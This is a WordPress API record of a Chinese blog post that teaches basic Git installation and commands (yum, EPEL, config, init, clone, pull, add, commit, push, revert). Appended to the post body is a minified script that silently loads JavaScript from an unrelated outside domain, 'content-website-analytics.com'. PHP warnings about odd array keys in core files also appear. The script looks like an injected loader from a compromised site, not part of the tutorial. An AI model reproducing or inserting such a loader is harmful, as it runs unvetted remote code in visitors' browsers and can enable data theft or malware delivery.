<br />
<b>Warning</b>:  Undefined array key "aHxDTi" in <b>/www/wwwroot/hesiwei.cn/wp-includes/rewrite.php</b> on line <b>1</b><br />
<br />
<b>Warning</b>:  Undefined array key "wOZyTK" in <b>/www/wwwroot/hesiwei.cn/wp-includes/class-wp-block-type-registry.php</b> on line <b>1</b><br />
{"id":934,"date":"2013-12-05T16:47:55","date_gmt":"2013-12-05T08:47:55","guid":{"rendered":"http:\/\/hesiwei.cn\/?p=934"},"modified":"2026-04-29T15:38:52","modified_gmt":"2026-04-29T07:38:52","slug":"git%e7%9a%84%e4%bd%bf%e7%94%a8","status":"publish","type":"post","link":"https:\/\/hesiwei.cn\/?p=934","title":{"rendered":"Git\u7684\u4f7f\u7528"},"content":{"rendered":"<div><font face=\"\u5fae\u8f6f\u96c5\u9ed1\"><b><span data-wiz-span=\"data-wiz-span\" style=\"font-size: 12pt;\">linux\u4e0b<\/span><span style=\"font-size: 12pt; line-height: 1.5;\">\u5b89\u88c5\uff1a<\/span><\/b><\/font><\/div>\n<div><span data-wiz-span=\"data-wiz-span\" style=\"font-size: 12pt;\"><span style=\"color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 26px; background-color: rgb(255, 255, 255);\">\u7528yum\u6765\u88c5git, \u4f46\u662f\u7b2c\u4e00\u6b21\u88c5\u627e\u4e0d\u5230\u6e90\uff0c\u6700\u540e\u663e\u793a \u201cnothing to do\u201d\uff0c\u6dfb\u52a0\u6e90\uff1a<\/span><\/span><\/div>\n<div><span data-wiz-span=\"data-wiz-span\" style=\"font-size: 12pt;\"><span style=\"color: rgb(51, 51, 51); font-size: 14px; line-height: 26px; background-color: rgb(255, 255, 255);\"><\/p>\n<div style=\"font-family: Arial;\">rpm -ivh <a href=\"http:\/\/dl.fedoraproject.org\/pub\/epel\/5\/i386\/epel-release-5-4.noarch.rpm\" _src=\"http:\/\/dl.fedoraproject.org\/pub\/epel\/5\/i386\/epel-release-5-4.noarch.rpm\">http:\/\/dl.fedoraproject.org\/pub\/epel\/5\/i386\/epel-release-5-4.noarch.rpm<\/a> <\/div>\n<div style=\"font-family: Arial;\">\u518d\u5b89\u88c5\uff1a<\/div>\n<div style=\"font-family: Arial;\">yum install git<\/div>\n<div style=\"font-family: Arial;\"><\/div>\n<div><span data-wiz-span=\"data-wiz-span\" style=\"font-size: 12pt;\"><b><font face=\"\u5fae\u8f6f\u96c5\u9ed1\">\u4f7f\u7528\uff1a<\/font><\/b><\/span><\/div>\n<div><span data-wiz-span=\"data-wiz-span\" style=\"font-size: 12pt;\"><\/p>\n<div style=\"font-family: Arial;\">\u9996\u5148\u914d\u7f6e\uff1a<\/div>\n<div style=\"font-family: Arial;\">git config &#8211;global user.name XXX<\/div>\n<div style=\"font-family: Arial;\">git config &#8211;global user.email XXX<\/div>\n<div style=\"font-family: Arial;\">git config &#8211;global push.default upstream<\/div>\n<div><!--StartFragment--><\/p>\n<p style=\"font-family: arial, sans-serif, verdana, helvetica; padding: 0px; margin: 10px 0px; line-height: 25px; color: rgb(64, 64, 64); font-size: 14px; background-color: rgb(250, 250, 250);\">\u8981\u5bf9\u73b0\u6709\u7684\u67d0\u4e2a\u9879\u76ee\u5f00\u59cb\u7528 Git \u7ba1\u7406\uff0c\u53ea\u9700\u5230\u6b64\u9879\u76ee\u6240\u5728\u7684\u76ee\u5f55\uff0c\u6267\u884c\uff1a<\/p>\n<div><code style=\"padding: 0px; margin: 0px;\"><font face=\"Arial\">$ git init<\/font><\/code><\/div>\n<p><!--EndFragment--><\/div>\n<p><\/span><\/div>\n<p><\/span><\/span><\/div>\n<div>\n<h3 id=\"id241\" style=\"padding: 0px; margin: 5px auto; line-height: 25px; font-size: 14px; color: rgb(64, 64, 64); font-family: arial, sans-serif, verdana, helvetica; background-color: rgb(250, 250, 250);\">\u4ece\u73b0\u6709\u4ed3\u5e93\u514b\u9686<\/h3>\n<\/div>\n<div><!--StartFragment--><\/p>\n<div><code style=\"padding: 0px; margin: 0px;\"><font face=\"Arial\">git clone git:\/\/github.com\/XXX<\/font><\/code><\/div>\n<p><!--EndFragment--><\/div>\n<h1 style=\"padding: 0px; margin: 5px auto; font-size: 14px; font-family: arial, sans-serif, verdana, helvetica; line-height: 25px; background-color: rgb(248, 248, 248); color: rgb(51, 51, 51);\"><span style=\"padding: 0px; margin: 0px; line-height: 28px; font-family: Arial, Helvetica, sans-serif;\">Git\u7684\u57fa\u672c\u547d\u4ee4<\/span>&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\">&nbsp; &nbsp; &nbsp;\u73b0\u5728\u6211\u4eec\u6709\u4e86\u672c\u5730\u548c\u8fdc\u7a0b\u7684\u7248\u672c\u5e93\uff0c\u8ba9\u6211\u4eec\u6765\u8bd5\u7740\u7528\u7528Git\u7684\u57fa\u672c\u547d\u4ee4\u5427\uff1a<\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><strong style=\"padding: 0px; margin: 0px;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\">git pull\uff1a<\/span><\/strong><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u4ece\u5176\u4ed6\u7684\u7248\u672c\u5e93(\u65e2\u53ef\u4ee5\u662f\u8fdc\u7a0b\u7684\u4e5f\u53ef\u4ee5\u662f\u672c\u5730\u7684)\u5c06\u4ee3\u7801\u66f4\u65b0\u5230\u672c\u5730\uff0c\u4f8b\u5982\uff1a&#8217;git pull origin master&#8217;\u5c31\u662f\u5c06origin\u8fd9\u4e2a\u7248\u672c\u5e93\u7684\u4ee3\u7801\u66f4\u65b0\u5230\u672c\u5730\u7684master\u4e3b\u679d\uff0c\u8be5\u529f\u80fd\u7c7b\u4f3c\u4e8eSVN\u7684update<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(250, 250, 250); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; background-color: rgb(255, 255, 255);\"><strong style=\"padding: 0px; margin: 0px;\"><span style=\"padding: 0px; margin: 0px; color: rgb(51, 51, 255);\">git add<\/span><span style=\"padding: 0px; margin: 0px; color: rgb(51, 51, 51);\">\uff1a<\/span><\/strong><\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248);\">\u662f\u5c06\u5f53\u524d\u66f4\u6539\u6216\u8005\u65b0\u589e\u7684\u6587\u4ef6\u52a0\u5165\u5230Git\u7684\u7d22\u5f15\u4e2d\uff0c\u52a0\u5165\u5230Git\u7684\u7d22\u5f15\u4e2d\u5c31\u8868\u793a\u8bb0\u5165\u4e86\u7248\u672c\u5386\u53f2\u4e2d\uff0c\u8fd9\u4e5f\u662f\u63d0\u4ea4\u4e4b\u524d\u6240\u9700\u8981\u6267\u884c\u7684\u4e00\u6b65\uff0c\u4f8b\u5982&#8217;git add app\/model\/user.rb&#8217;\u5c31\u4f1a\u589e\u52a0app\/model\/user.rb\u6587\u4ef6\u5230Git\u7684\u7d22\u5f15\u4e2d<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\"><strong style=\"padding: 0px; margin: 0px; color: rgb(64, 64, 64);\">git rm\uff1a<\/strong><\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u4ece\u5f53\u524d\u7684\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u548c\u7d22\u5f15\u4e2d\u5220\u9664\u6587\u4ef6\uff0c\u4f8b\u5982&#8217;git rm app\/model\/user.rb&#8217;<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\"><strong style=\"padding: 0px; margin: 0px; color: rgb(64, 64, 64);\">git commit\uff1a<\/strong><\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u63d0\u4ea4\u5f53\u524d\u5de5\u4f5c\u7a7a\u95f4\u7684\u4fee\u6539\u5185\u5bb9\uff0c\u7c7b\u4f3c\u4e8eSVN\u7684commit\u547d\u4ee4\uff0c\u4f8b\u5982&#8217;git commit -m &#8220;story #3, add user model&#8221;&#8216;\uff0c\u63d0\u4ea4\u7684\u65f6\u5019\u5fc5\u987b\u7528-m\u6765\u8f93\u5165\u4e00\u6761\u63d0\u4ea4\u4fe1\u606f<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\"><strong style=\"padding: 0px; margin: 0px; color: rgb(64, 64, 64);\">git push\uff1a<\/strong><\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u5c06\u672c\u5730commit\u7684\u4ee3\u7801\u66f4\u65b0\u5230\u8fdc\u7a0b\u7248\u672c\u5e93\u4e2d\uff0c\u4f8b\u5982&#8217;git push origin&#8217;\u5c31\u4f1a\u5c06\u672c\u5730\u7684\u4ee3\u7801\u66f4\u65b0\u5230\u540d\u4e3aorgin\u7684\u8fdc\u7a0b\u7248\u672c\u5e93\u4e2d<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><strong style=\"padding: 0px; margin: 0px;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\">git log\uff1a<\/span><\/strong><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u67e5\u770b\u5386\u53f2\u65e5\u5fd7<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(64, 64, 64); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\"><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 255);\"><strong style=\"padding: 0px; margin: 0px; color: rgb(64, 64, 64);\">git revert\uff1a<\/strong><\/span><span style=\"padding: 0px; margin: 0px; line-height: 25px; color: rgb(51, 51, 51);\">\u8fd8\u539f\u4e00\u4e2a\u7248\u672c\u7684\u4fee\u6539\uff0c\u5fc5\u987b\u63d0\u4f9b\u4e00\u4e2a\u5177\u4f53\u7684Git\u7248\u672c\u53f7\uff0c\u4f8b\u5982&#8217;git revert bbaf6fb5060b4875b18ff9ff637ce118256d6f20&#8217;\uff0cGit\u7684\u7248\u672c\u53f7\u90fd\u662f\u751f\u6210\u7684\u4e00\u4e2a\u54c8\u5e0c\u503c\u3001<\/span><\/p>\n<p style=\"padding: 0px; margin: 0px 0px 10px; line-height: 1.8em; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); font-family: Arial, Helvetica, sans-serif;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u4e0a\u9762\u7684\u547d\u4ee4\u51e0\u4e4e\u90fd\u662f\u6bcf\u4e2a\u7248\u672c\u63a7\u5236\u5de5\u5177\u6240\u516c\u6709\u7684\uff0c\u4e0b\u9762\u5c31\u5f00\u59cb\u5c1d\u8bd5\u4e00\u4e0bGit\u72ec\u6709\u7684\u4e00\u4e9b\u547d\u4ee4\uff1a<\/p>\n<div style=\"color:gray\"><span style=\"font-size: 10.5pt; line-height: 1.5;\">&nbsp;<\/span><\/div>\n<div><a title=\"\u6765\u81ea\u4e3a\u77e5\u7b14\u8bb0(Wiz)\" href=\"http:\/\/www.wiz.cn\/i\/1464f1d5\">\u6765\u81ea\u4e3a\u77e5\u7b14\u8bb0(Wiz)<\/a><\/div>\n<\/h1>\n<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>linux\u4e0b\u5b89\u88c5\uff1a \u7528yum\u6765\u88c5git, \u4f46\u662f\u7b2c\u4e00\u6b21\u88c5\u627e\u4e0d\u5230\u6e90\uff0c\u6700\u540e\u663e\u793a \u201cnothing to do\u201d\uff0c\u6dfb\u52a0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-934","post","type-post","status-publish","format-standard","hentry","category-knowledge-management"],"_links":{"self":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=934"}],"version-history":[{"count":1,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/934\/revisions"}],"predecessor-version":[{"id":1953,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/934\/revisions\/1953"}],"wp:attachment":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}